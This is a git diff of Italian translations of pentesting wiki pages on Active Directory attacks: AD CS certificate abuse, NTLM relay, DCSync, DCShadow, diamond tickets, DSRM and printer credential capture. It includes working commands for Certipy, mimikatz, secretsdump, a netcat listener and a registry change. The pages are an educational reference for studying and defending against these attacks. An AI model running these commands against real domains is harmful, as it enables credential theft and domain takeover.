**`Manage Certificates`** (può essere concesso da **`ManageCA`**) - Il modello di certificato **`SubCA`** deve essere **abilitato** (può essere abilitato da **`ManageCA`**) -La tecnica si basa sul fatto che gli utenti con il diritto di accesso **`Manage CA`** _e_ **`Manage Certificates`** possono **emettere richieste di certificato fallite**. Il modello di certificato **`SubCA`** è **vulnerabile a ESC1**, ma **solo gli amministratori** possono iscriversi al modello. Pertanto, un **utente** può **richiedere** di iscriversi al **`SubCA`** - che sarà **negata** - ma **poi emessa dal manager successivamente**. +La tecnica si basa sul fatto che gli utenti con il diritto di accesso **`Manage CA`** _e_ **`Manage Certificates`** possono **emissione di richieste di certificato fallite**. Il modello di certificato **`SubCA`** è **vulnerabile a ESC1**, ma **solo gli amministratori** possono iscriversi al modello. Pertanto, un **utente** può **richiedere** di iscriversi al **`SubCA`** - che sarà **negata** - ma **poi emessa dal manager successivamente**. #### Abuso @@ -285,7 +285,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -Se abbiamo soddisfatto i prerequisiti per questo attacco, possiamo iniziare **richiedendo un certificato basato sul modello `SubCA`**. +Se abbiamo soddisfatto i requisiti per questo attacco, possiamo iniziare **richiedendo un certificato basato sul modello `SubCA`**. **Questa richiesta verrà negata**, ma salveremo la chiave privata e annoteremo l'ID della richiesta. ```bash @@ -328,7 +328,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) Diversi **metodi di registrazione basati su HTTP** sono supportati da AD CS, resi disponibili attraverso ruoli server aggiuntivi che gli amministratori possono installare. Queste interfacce per la registrazione di certificati basata su HTTP sono suscettibili a **attacchi di relay NTLM**. Un attaccante, da una **macchina compromessa, può impersonare qualsiasi account AD che si autentica tramite NTLM in entrata**. Mentre impersona l'account vittima, queste interfacce web possono essere accessibili da un attaccante per **richiedere un certificato di autenticazione client utilizzando i modelli di certificato `User` o `Machine`**. - L'**interfaccia di registrazione web** (un'applicazione ASP più vecchia disponibile su `http:///certsrv/`), per impostazione predefinita utilizza solo HTTP, che non offre protezione contro gli attacchi di relay NTLM. Inoltre, consente esplicitamente solo l'autenticazione NTLM attraverso il suo header HTTP di autorizzazione, rendendo inapplicabili metodi di autenticazione più sicuri come Kerberos. -- Il **Certificate Enrollment Service** (CES), il **Certificate Enrollment Policy** (CEP) Web Service e il **Network Device Enrollment Service** (NDES) supportano per impostazione predefinita l'autenticazione negotiate tramite il loro header HTTP di autorizzazione. L'autenticazione negotiate **supporta sia** Kerberos che **NTLM**, consentendo a un attaccante di **downgradare all'autenticazione NTLM** durante gli attacchi di relay. Sebbene questi servizi web abilitino HTTPS per impostazione predefinita, HTTPS da solo **non protegge dagli attacchi di relay NTLM**. La protezione dagli attacchi di relay NTLM per i servizi HTTPS è possibile solo quando HTTPS è combinato con il binding del canale. Sfortunatamente, AD CS non attiva la Protezione Estesa per l'Autenticazione su IIS, che è necessaria per il binding del canale. +- Il **Certificate Enrollment Service** (CES), il **Certificate Enrollment Policy** (CEP) Web Service e il **Network Device Enrollment Service** (NDES) supportano per impostazione predefinita l'autenticazione negotiate tramite il loro header HTTP di autorizzazione. L'autenticazione negotiate **supporta sia** Kerberos che **NTLM**, consentendo a un attaccante di **downgradare all'autenticazione NTLM** durante gli attacchi di relay. Sebbene questi servizi web abilitino HTTPS per impostazione predefinita, HTTPS da solo **non protegge contro gli attacchi di relay NTLM**. La protezione dagli attacchi di relay NTLM per i servizi HTTPS è possibile solo quando HTTPS è combinato con il binding del canale. Sfortunatamente, AD CS non attiva la Protezione Estesa per l'Autenticazione su IIS, che è necessaria per il binding del canale. Un comune **problema** con gli attacchi di relay NTLM è la **breve durata delle sessioni NTLM** e l'incapacità dell'attaccante di interagire con i servizi che **richiedono la firma NTLM**. @@ -380,7 +380,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe < ``` #### Abuso con [Certipy](https://github.com/ly4k/Certipy) -La richiesta per un certificato viene effettuata da Certipy per impostazione predefinita in base al modello `Machine` o `User`, determinato dal fatto che il nome dell'account da relazionare termini con `$`. La specifica di un modello alternativo può essere ottenuta attraverso l'uso del parametro `-template`. +La richiesta di un certificato viene effettuata da Certipy per impostazione predefinita in base al modello `Machine` o `User`, determinato dal fatto che il nome dell'account da relazionare termini con `$`. La specifica di un modello alternativo può essere ottenuta attraverso l'uso del parametro `-template`. Una tecnica come [PetitPotam](https://github.com/ly4k/PetitPotam) può quindi essere impiegata per costringere l'autenticazione. Quando si tratta di controller di dominio, è necessaria la specifica di `-template DomainController`. ```bash @@ -459,7 +459,7 @@ Con `StrongCertificateBindingEnforcement` configurato come `0`, un account A con Ad esempio, avendo permessi `GenericWrite` su `Jane@corp.local`, un attaccante mira a compromettere `Administrator@corp.local`. La procedura rispecchia ESC9, consentendo di utilizzare qualsiasi modello di certificato. -Inizialmente, l'hash di `Jane` viene recuperato utilizzando Shadow Credentials, sfruttando il `GenericWrite`. +Inizialmente, l'hash di `Jane` viene recuperato utilizzando le Credenziali Shadow, sfruttando il `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` @@ -495,7 +495,7 @@ Un certificato per l'autenticazione del client viene richiesto come `Jane` utili ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -Il `userPrincipalName` di `Jane` viene ripristinato al suo stato originale dopo questo processo. +Il `userPrincipalName` di `Jane` viene ripristinato al suo originale dopo questo processo. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` @@ -565,7 +565,7 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s Gli amministratori possono configurare l'Autorità di Certificazione per memorizzarla su un dispositivo esterno come il "Yubico YubiHSM2". -Se un dispositivo USB è connesso al server CA tramite una porta USB, o un server di dispositivi USB nel caso in cui il server CA sia una macchina virtuale, è necessaria una chiave di autenticazione (a volte chiamata "password") affinché il Key Storage Provider generi e utilizzi chiavi nel YubiHSM. +Se un dispositivo USB è connesso al server CA tramite una porta USB, o un server di dispositivo USB nel caso in cui il server CA sia una macchina virtuale, è necessaria una chiave di autenticazione (a volte chiamata "password") affinché il Key Storage Provider generi e utilizzi chiavi nel YubiHSM. Questa chiave/password è memorizzata nel registro sotto `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in chiaro. @@ -619,7 +619,7 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local Trova un permesso utente che può utilizzare `certipy find` o `Certify.exe find /showAllPermissions`. -Se `John` ha il permesso di iscriversi a `VulnerableTemplate`, l'utente può ereditare i privilegi del gruppo `VulnerableGroup`. +Se `John` ha il permesso di registrare `VulnerableTemplate`, l'utente può ereditare i privilegi del gruppo `VulnerableGroup`. Tutto ciò che deve fare è specificare il template, otterrà un certificato con diritti OIDToGroupLink. ```bash @@ -629,11 +629,14 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target ### Violazione dei Trust delle Foreste da CAs Compromessi -La configurazione per il **cross-forest enrollment** è relativamente semplice. Il **certificato CA radice** della foresta di risorse è **pubblicato nelle foreste account** dagli amministratori, e i certificati **CA aziendali** della foresta di risorse sono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ciascuna foresta account**. Per chiarire, questo accordo concede alla **CA nella foresta di risorse il controllo completo** su tutte le altre foreste per le quali gestisce la PKI. Se questa CA fosse **compromessa da attaccanti**, i certificati per tutti gli utenti sia nella foresta di risorse che in quella account potrebbero essere **falsificati da loro**, compromettendo così il confine di sicurezza della foresta. +La configurazione per il **cross-forest enrollment** è relativamente semplice. Il **certificato CA radice** della foresta risorsa è **pubblicato nelle foreste account** dagli amministratori, e i certificati **enterprise CA** della foresta risorsa sono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ciascuna foresta account**. Per chiarire, questo accordo concede alla **CA nella foresta risorsa il completo controllo** su tutte le altre foreste per le quali gestisce la PKI. Se questa CA fosse **compromessa da attaccanti**, i certificati per tutti gli utenti sia nella foresta risorsa che in quella account potrebbero essere **falsificati da loro**, rompendo così il confine di sicurezza della foresta. ### Privilegi di Iscrizione Concessi a Principali Stranieri -Negli ambienti multi-foresta, è necessaria cautela riguardo alle CA aziendali che **pubblicano modelli di certificato** che consentono a **Utenti Autenticati o principali stranieri** (utenti/gruppi esterni alla foresta a cui appartiene la CA aziendale) **diritti di iscrizione e modifica**.\ -Dopo l'autenticazione attraverso un trust, il **SID Utenti Autenticati** viene aggiunto al token dell'utente da AD. Pertanto, se un dominio possiede una CA aziendale con un modello che **consente diritti di iscrizione agli Utenti Autenticati**, un modello potrebbe potenzialmente essere **iscritto da un utente di una foresta diversa**. Allo stesso modo, se **i diritti di iscrizione sono esplicitamente concessi a un principale straniero da un modello**, si crea così una **relazione di controllo accessi cross-forest**, consentendo a un principale di una foresta di **iscriversi a un modello di un'altra foresta**. +Negli ambienti multi-foresta, è necessaria cautela riguardo alle CA Enterprise che **pubblicano modelli di certificato** che consentono a **Authenticated Users o principali stranieri** (utenti/gruppi esterni alla foresta a cui appartiene la CA Enterprise) **diritti di iscrizione e modifica**.\ +Dopo l'autenticazione attraverso un trust, il **SID degli Utenti Autenticati** viene aggiunto al token dell'utente da AD. Pertanto, se un dominio possiede una CA Enterprise con un modello che **consente diritti di iscrizione agli Utenti Autenticati**, un modello potrebbe potenzialmente essere **iscritto da un utente di una foresta diversa**. Allo stesso modo, se **i diritti di iscrizione sono esplicitamente concessi a un principale straniero da un modello**, si crea così una **relazione di controllo accessi cross-forest**, consentendo a un principale di una foresta di **iscriversi a un modello di un'altra foresta**. Entrambi gli scenari portano a un **aumento della superficie di attacco** da una foresta all'altra. Le impostazioni del modello di certificato potrebbero essere sfruttate da un attaccante per ottenere privilegi aggiuntivi in un dominio straniero. + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md index 8e9eaf636..22f7eccc5 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md @@ -4,9 +4,9 @@ **Questo è un riepilogo delle tecniche di persistenza del dominio condivise in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Controllalo per ulteriori dettagli. -## Forgiare Certificati con Certificati CA Rubati - DPERSIST1 +## Forging Certificates with Stolen CA Certificates - DPERSIST1 -Come puoi sapere se un certificato è un certificato CA? +Come puoi capire che un certificato è un certificato CA? Si può determinare che un certificato è un certificato CA se sono soddisfatte diverse condizioni: @@ -15,7 +15,7 @@ Si può determinare che un certificato è un certificato CA se sono soddisfatte - È presente un'estensione "CA Version" esclusivamente nei certificati CA. - Il certificato non ha campi Extended Key Usage (EKU). -Per estrarre la chiave privata di questo certificato, il tool `certsrv.msc` sul server CA è il metodo supportato tramite l'interfaccia grafica integrata. Tuttavia, questo certificato non differisce da altri memorizzati all'interno del sistema; pertanto, possono essere applicati metodi come la [tecnica THEFT2](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) per l'estrazione. +Per estrarre la chiave privata di questo certificato, il tool `certsrv.msc` sul server CA è il metodo supportato tramite l'interfaccia grafica integrata. Tuttavia, questo certificato non differisce da altri memorizzati all'interno del sistema; pertanto, possono essere applicati metodi come la [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) per l'estrazione. Il certificato e la chiave privata possono anche essere ottenuti utilizzando Certipy con il seguente comando: ```bash @@ -45,7 +45,7 @@ Inoltre, i **certificati generati** con questo metodo **non possono essere revoc L'oggetto `NTAuthCertificates` è definito per contenere uno o più **certificati CA** all'interno del suo attributo `cacertificate`, che Active Directory (AD) utilizza. Il processo di verifica da parte del **controller di dominio** prevede il controllo dell'oggetto `NTAuthCertificates` per un'entrata corrispondente alla **CA specificata** nel campo Issuer del **certificato** di autenticazione. L'autenticazione procede se viene trovata una corrispondenza. -Un certificato CA autofirmato può essere aggiunto all'oggetto `NTAuthCertificates` da un attaccante, a condizione che abbia il controllo su questo oggetto AD. Normalmente, solo i membri del gruppo **Enterprise Admin**, insieme a **Domain Admins** o **Administrators** nel **dominio radice della foresta**, hanno il permesso di modificare questo oggetto. Possono modificare l'oggetto `NTAuthCertificates` utilizzando `certutil.exe` con il comando `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`, o impiegando il [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool). +Un certificato CA autofirmato può essere aggiunto all'oggetto `NTAuthCertificates` da un attaccante, a condizione che abbia il controllo su questo oggetto AD. Normalmente, solo i membri del gruppo **Enterprise Admin**, insieme a **Domain Admins** o **Administrators** nel **dominio radice della foresta**, hanno il permesso di modificare questo oggetto. Possono modificare l'oggetto `NTAuthCertificates` utilizzando `certutil.exe` con il comando `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`, oppure impiegando il [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool). Questa capacità è particolarmente rilevante quando utilizzata in combinazione con un metodo precedentemente descritto che coinvolge ForgeCert per generare certificati dinamicamente. @@ -56,8 +56,8 @@ Le opportunità per la **persistenza** attraverso **modifiche del descrittore di - L'oggetto computer AD del **server CA** - Il **server RPC/DCOM del server CA** - Qualsiasi **oggetto o contenitore AD discendente** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`** (ad esempio, il contenitore dei modelli di certificato, il contenitore delle autorità di certificazione, l'oggetto NTAuthCertificates, ecc.) -- **Gruppi AD delegati diritti per controllare AD CS** per impostazione predefinita o dall'organizzazione (come il gruppo Cert Publishers integrato e qualsiasi dei suoi membri) +- **Gruppi AD a cui sono delegati diritti per controllare AD CS** per impostazione predefinita o dall'organizzazione (come il gruppo Cert Publishers integrato e qualsiasi dei suoi membri) -Un esempio di implementazione malevola coinvolgerebbe un attaccante, che ha **permessi elevati** nel dominio, che aggiunge il permesso **`WriteOwner`** al modello di certificato **`User`** predefinito, con l'attaccante che è il principale per il diritto. Per sfruttare questo, l'attaccante cambierebbe prima la proprietà del modello **`User`** a se stesso. Successivamente, il **`mspki-certificate-name-flag`** verrebbe impostato su **1** sul modello per abilitare **`ENROLLEE_SUPPLIES_SUBJECT`**, consentendo a un utente di fornire un Subject Alternative Name nella richiesta. Successivamente, l'attaccante potrebbe **iscriversi** utilizzando il **modello**, scegliendo un nome di **amministratore di dominio** come nome alternativo, e utilizzare il certificato acquisito per l'autenticazione come DA. +Un esempio di implementazione malevola coinvolgerebbe un attaccante, che ha **permessi elevati** nel dominio, nell'aggiungere il permesso **`WriteOwner`** al modello di certificato **`User`** predefinito, con l'attaccante che è il principale per il diritto. Per sfruttare questo, l'attaccante cambierebbe prima la proprietà del modello **`User`** a se stesso. Successivamente, il **`mspki-certificate-name-flag`** verrebbe impostato su **1** sul modello per abilitare **`ENROLLEE_SUPPLIES_SUBJECT`**, consentendo a un utente di fornire un Subject Alternative Name nella richiesta. Successivamente, l'attaccante potrebbe **iscriversi** utilizzando il **modello**, scegliendo un nome di **domain administrator** come nome alternativo, e utilizzare il certificato acquisito per l'autenticazione come DA. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md b/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md index eab3c3749..b262c21b2 100644 --- a/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md +++ b/src/windows-hardening/active-directory-methodology/ad-information-in-printers.md @@ -1,7 +1,7 @@ {{#include ../../banners/hacktricks-training.md}} Ci sono diversi blog su Internet che **mettono in evidenza i pericoli di lasciare le stampanti configurate con LDAP con credenziali di accesso predefinite/deboli**.\ -Questo perché un attaccante potrebbe **ingannare la stampante per autenticarsi contro un server LDAP malevolo** (tipicamente un `nc -vv -l -p 444` è sufficiente) e catturare le **credenziali della stampante in chiaro**. +Questo perché un attaccante potrebbe **ingannare la stampante a autenticarsi contro un server LDAP malevolo** (tipicamente un `nc -vv -l -p 444` è sufficiente) e catturare le **credenziali della stampante in chiaro**. Inoltre, diverse stampanti conterranno **log con nomi utente** o potrebbero persino essere in grado di **scaricare tutti i nomi utente** dal Domain Controller. @@ -15,16 +15,16 @@ Alcuni blog sull'argomento: ## Configurazione della Stampante - **Posizione**: L'elenco dei server LDAP si trova in: `Network > LDAP Setting > Setting Up LDAP`. -- **Comportamento**: L'interfaccia consente modifiche al server LDAP senza reinserire le credenziali, mirando alla comodità dell'utente ma comportando rischi per la sicurezza. +- **Comportamento**: L'interfaccia consente modifiche al server LDAP senza reinserire le credenziali, mirando alla comodità dell'utente ma ponendo rischi per la sicurezza. - **Sfruttamento**: Lo sfruttamento comporta il reindirizzamento dell'indirizzo del server LDAP a una macchina controllata e l'utilizzo della funzione "Test Connection" per catturare le credenziali. ## Cattura delle Credenziali **Per passaggi più dettagliati, fare riferimento alla [fonte](https://grimhacker.com/2018/03/09/just-a-printer/).** -### Metodo 1: Ascoltatore Netcat +### Metodo 1: Netcat Listener -Un semplice ascoltatore netcat potrebbe essere sufficiente: +Un semplice listener netcat potrebbe essere sufficiente: ```bash sudo nc -k -v -l -p 386 ``` @@ -32,16 +32,16 @@ Tuttavia, il successo di questo metodo varia. ### Metodo 2: Server LDAP Completo con Slapd -Un approccio più affidabile prevede la configurazione di un server LDAP completo perché la stampante esegue un bind nullo seguito da una query prima di tentare il binding delle credenziali. +Un approccio più affidabile prevede l'impostazione di un server LDAP completo perché la stampante esegue un bind nullo seguito da una query prima di tentare il binding delle credenziali. -1. **Configurazione del Server LDAP**: La guida segue i passaggi da [questa fonte](https://www.server-world.info/en/note?os=Fedora_26&p=openldap). +1. **Impostazione del Server LDAP**: La guida segue i passaggi da [questa fonte](https://www.server-world.info/en/note?os=Fedora_26&p=openldap). 2. **Passaggi Chiave**: - Installare OpenLDAP. - Configurare la password di amministrazione. - Importare schemi di base. - Impostare il nome di dominio nel DB LDAP. - Configurare LDAP TLS. -3. **Esecuzione del Servizio LDAP**: Una volta configurato, il servizio LDAP può essere eseguito utilizzando: +3. **Esecuzione del Servizio LDAP**: Una volta impostato, il servizio LDAP può essere eseguito utilizzando: ```bash slapd -d 2 ``` diff --git a/src/windows-hardening/active-directory-methodology/asreproast.md b/src/windows-hardening/active-directory-methodology/asreproast.md index a0a93231b..4506bc210 100644 --- a/src/windows-hardening/active-directory-methodology/asreproast.md +++ b/src/windows-hardening/active-directory-methodology/asreproast.md @@ -4,7 +4,7 @@ ## ASREPRoast -ASREPRoast è un attacco di sicurezza che sfrutta gli utenti che non hanno l'**attributo richiesto di pre-autenticazione Kerberos**. Fondamentalmente, questa vulnerabilità consente agli attaccanti di richiedere l'autenticazione per un utente dal Domain Controller (DC) senza bisogno della password dell'utente. Il DC risponde quindi con un messaggio crittografato con la chiave derivata dalla password dell'utente, che gli attaccanti possono tentare di decifrare offline per scoprire la password dell'utente. +ASREPRoast è un attacco di sicurezza che sfrutta gli utenti che mancano dell'**attributo richiesto per la pre-autenticazione Kerberos**. Fondamentalmente, questa vulnerabilità consente agli attaccanti di richiedere l'autenticazione per un utente dal Domain Controller (DC) senza bisogno della password dell'utente. Il DC risponde quindi con un messaggio crittografato con la chiave derivata dalla password dell'utente, che gli attaccanti possono tentare di decifrare offline per scoprire la password dell'utente. I principali requisiti per questo attacco sono: diff --git a/src/windows-hardening/active-directory-methodology/bloodhound.md b/src/windows-hardening/active-directory-methodology/bloodhound.md index 3f227c1a2..23922e34d 100644 --- a/src/windows-hardening/active-directory-methodology/bloodhound.md +++ b/src/windows-hardening/active-directory-methodology/bloodhound.md @@ -1,4 +1,4 @@ -# BloodHound & Other AD Enum Tools +# BloodHound & Altri Strumenti di Enumerazione AD {{#include ../../banners/hacktricks-training.md}} @@ -8,7 +8,7 @@ > Un visualizzatore e editor avanzato di Active Directory (AD). Puoi utilizzare AD Explorer per navigare facilmente in un database AD, definire posizioni preferite, visualizzare proprietà e attributi degli oggetti senza aprire finestre di dialogo, modificare permessi, visualizzare uno schema di oggetto ed eseguire ricerche sofisticate che puoi salvare e rieseguire. -### Snapshots +### Snapshot AD Explorer può creare snapshot di un AD in modo da poterlo controllare offline.\ Può essere utilizzato per scoprire vulnerabilità offline o per confrontare diversi stati del database AD nel tempo. @@ -61,7 +61,7 @@ Hanno diverse opzioni, ma se vuoi eseguire SharpHound da un PC unito al dominio, ./SharpHound.exe --CollectionMethods All Invoke-BloodHound -CollectionMethod All ``` -> Puoi leggere di più su **CollectionMethod** e sulla sessione loop [qui](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained) +> Puoi leggere di più su **CollectionMethod** e la sessione loop [qui](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained) Se desideri eseguire SharpHound utilizzando credenziali diverse, puoi creare una sessione CMD netonly ed eseguire SharpHound da lì: ``` diff --git a/src/windows-hardening/active-directory-methodology/custom-ssp.md b/src/windows-hardening/active-directory-methodology/custom-ssp.md index 463a12f70..278ad4a09 100644 --- a/src/windows-hardening/active-directory-methodology/custom-ssp.md +++ b/src/windows-hardening/active-directory-methodology/custom-ssp.md @@ -9,7 +9,7 @@ Puoi creare il tuo **SSP** per **catturare** in **testo chiaro** le **credenzial #### Mimilib -Puoi utilizzare il binario `mimilib.dll` fornito da Mimikatz. **Questo registrerà all'interno di un file tutte le credenziali in testo chiaro.**\ +Puoi utilizzare il file binario `mimilib.dll` fornito da Mimikatz. **Questo registrerà all'interno di un file tutte le credenziali in testo chiaro.**\ Posiziona il dll in `C:\Windows\System32\`\ Ottieni un elenco dei pacchetti di sicurezza LSA esistenti: ```bash:attacker@target diff --git a/src/windows-hardening/active-directory-methodology/dcshadow.md b/src/windows-hardening/active-directory-methodology/dcshadow.md index 271675aa6..adf4b8e15 100644 --- a/src/windows-hardening/active-directory-methodology/dcshadow.md +++ b/src/windows-hardening/active-directory-methodology/dcshadow.md @@ -2,8 +2,8 @@ # DCShadow -Registra un **nuovo Domain Controller** nell'AD e lo utilizza per **inviare attributi** (SIDHistory, SPNs...) su oggetti specificati **senza** lasciare alcun **log** riguardo le **modifiche**. Hai **bisogno di privilegi DA** e devi essere all'interno del **dominio radice**.\ -Nota che se utilizzi dati errati, appariranno log piuttosto brutti. +Registra un **nuovo Domain Controller** nell'AD e lo utilizza per **inviare attributi** (SIDHistory, SPNs...) su oggetti specificati **senza** lasciare alcun **log** riguardo alle **modifiche**. Hai **bisogno di privilegi DA** e devi essere all'interno del **dominio radice**.\ +Nota che se usi dati errati, appariranno log piuttosto brutti. Per eseguire l'attacco hai bisogno di 2 istanze di mimikatz. Una di esse avvierà i server RPC con privilegi SYSTEM (devi indicare qui le modifiche che desideri eseguire), e l'altra istanza sarà utilizzata per inviare i valori: ```bash:mimikatz1 (RPC servers) @@ -18,7 +18,7 @@ lsadump::dcshadow /push Nota che **`elevate::token`** non funzionerà nella sessione `mimikatz1` poiché ha elevato i privilegi del thread, ma dobbiamo elevare il **privilegio del processo**.\ Puoi anche selezionare un oggetto "LDAP": `/object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local` -Puoi applicare le modifiche da un DA o da un utente con questi permessi minimi: +Puoi spingere le modifiche da un DA o da un utente con questi permessi minimi: - Nell'**oggetto di dominio**: - _DS-Install-Replica_ (Aggiungi/Rimuovi Replica nel Dominio) @@ -57,11 +57,11 @@ Dobbiamo aggiungere i seguenti ACE con il SID del nostro utente alla fine: - `(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` - `(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)` - `(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` -- Sull'oggetto computer dell'attaccante: `(A;;WP;;;UserSID)` +- Sull'oggetto computer attaccante: `(A;;WP;;;UserSID)` - Sull'oggetto utente target: `(A;;WP;;;UserSID)` - Sull'oggetto Siti nel contenitore di Configurazione: `(A;CI;CCDC;;;UserSID)` -Per ottenere l'attuale ACE di un oggetto: `(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl` +Per ottenere l'ACE attuale di un oggetto: `(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl` Nota che in questo caso devi fare **diverse modifiche,** non solo una. Quindi, nella **sessione mimikatz1** (server RPC) usa il parametro **`/stack` con ogni modifica** che vuoi fare. In questo modo, dovrai solo **`/push`** una volta per eseguire tutte le modifiche accumulate nel server rogue. diff --git a/src/windows-hardening/active-directory-methodology/dcsync.md b/src/windows-hardening/active-directory-methodology/dcsync.md index 5f7bf2e3f..b4d0e2e46 100644 --- a/src/windows-hardening/active-directory-methodology/dcsync.md +++ b/src/windows-hardening/active-directory-methodology/dcsync.md @@ -22,7 +22,7 @@ Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveG ```powershell Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' ``` -### Sfrutta Remotamente +### Sfrutta da Remoto ```powershell secretsdump.py -just-dc :@ -outputfile dcsync_hashes [-just-dc-user ] #To get only of that user diff --git a/src/windows-hardening/active-directory-methodology/diamond-ticket.md b/src/windows-hardening/active-directory-methodology/diamond-ticket.md index 8017e90dd..394fbd9ea 100644 --- a/src/windows-hardening/active-directory-methodology/diamond-ticket.md +++ b/src/windows-hardening/active-directory-methodology/diamond-ticket.md @@ -4,14 +4,14 @@ ## Diamond Ticket -**Come un biglietto d'oro**, un biglietto di diamante è un TGT che può essere utilizzato per **accedere a qualsiasi servizio come qualsiasi utente**. Un biglietto d'oro è completamente falsificato offline, crittografato con l'hash krbtgt di quel dominio, e poi passato in una sessione di accesso per l'uso. Poiché i controller di dominio non tracciano i TGT che (o essi) hanno legittimamente emesso, accetteranno felicemente i TGT crittografati con il proprio hash krbtgt. +**Come un biglietto d'oro**, un biglietto di diamante è un TGT che può essere utilizzato per **accedere a qualsiasi servizio come qualsiasi utente**. Un biglietto d'oro è completamente falsificato offline, crittografato con l'hash krbtgt di quel dominio, e poi passato in una sessione di accesso per l'uso. Poiché i controller di dominio non tracciano i TGT che (o essi) hanno legittimamente emesso, accetteranno volentieri i TGT crittografati con il proprio hash krbtgt. Ci sono due tecniche comuni per rilevare l'uso di biglietti d'oro: - Cerca TGS-REQ che non hanno un corrispondente AS-REQ. - Cerca TGT che hanno valori ridicoli, come la durata predefinita di 10 anni di Mimikatz. -Un **biglietto di diamante** è creato **modificando i campi di un legittimo TGT emesso da un DC**. Questo si ottiene **richiedendo** un **TGT**, **decrittografandolo** con l'hash krbtgt del dominio, **modificando** i campi desiderati del biglietto, e poi **ri-cifrando**. Questo **supera i due difetti sopra menzionati** di un biglietto d'oro perché: +Un **biglietto di diamante** è creato **modificando i campi di un TGT legittimo emesso da un DC**. Questo si ottiene **richiedendo** un **TGT**, **decrittografandolo** con l'hash krbtgt del dominio, **modificando** i campi desiderati del biglietto, e poi **ri-cifrando**. Questo **supera i due difetti sopra menzionati** di un biglietto d'oro perché: - I TGS-REQ avranno un AS-REQ precedente. - Il TGT è stato emesso da un DC, il che significa che avrà tutti i dettagli corretti dalla politica Kerberos del dominio. Anche se questi possono essere accuratamente falsificati in un biglietto d'oro, è più complesso e soggetto a errori. diff --git a/src/windows-hardening/active-directory-methodology/dsrm-credentials.md b/src/windows-hardening/active-directory-methodology/dsrm-credentials.md index 75dd81e80..866608413 100644 --- a/src/windows-hardening/active-directory-methodology/dsrm-credentials.md +++ b/src/windows-hardening/active-directory-methodology/dsrm-credentials.md @@ -2,12 +2,12 @@ # Credenziali DSRM -C'è un account **amministratore locale** all'interno di ogni **DC**. Avere privilegi di amministratore su questa macchina ti consente di utilizzare mimikatz per **estrarre l'hash dell'Amministratore locale**. Poi, modificando un registro per **attivare questa password** in modo da poter accedere da remoto a questo utente Amministratore locale.\ +C'è un account di **amministratore locale** all'interno di ogni **DC**. Avere privilegi di amministratore su questa macchina ti consente di utilizzare mimikatz per **estrarre l'hash dell'Amministratore locale**. Poi, modificando un registro per **attivare questa password** in modo da poter accedere da remoto a questo utente Amministratore locale.\ Prima dobbiamo **estrarre** l'**hash** dell'utente **Amministratore locale** all'interno del DC: ```bash Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' ``` -Quindi dobbiamo controllare se quell'account funzionerà, e se la chiave di registro ha il valore "0" o non esiste, è necessario **impostarla su "2"**: +Quindi dobbiamo controllare se quell'account funzionerà, e se la chiave di registro ha il valore "0" o non esiste, devi **impostarla su "2"**: ```bash Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist @@ -19,7 +19,7 @@ sekurlsa::pth /domain:dc-host-name /user:Administrator /ntlm:b629ad5753f4c441e3a #And in new spawned powershell you now can access via NTLM the content of C$ ls \\dc-host-name\C$ ``` -Maggiori informazioni su questo in: 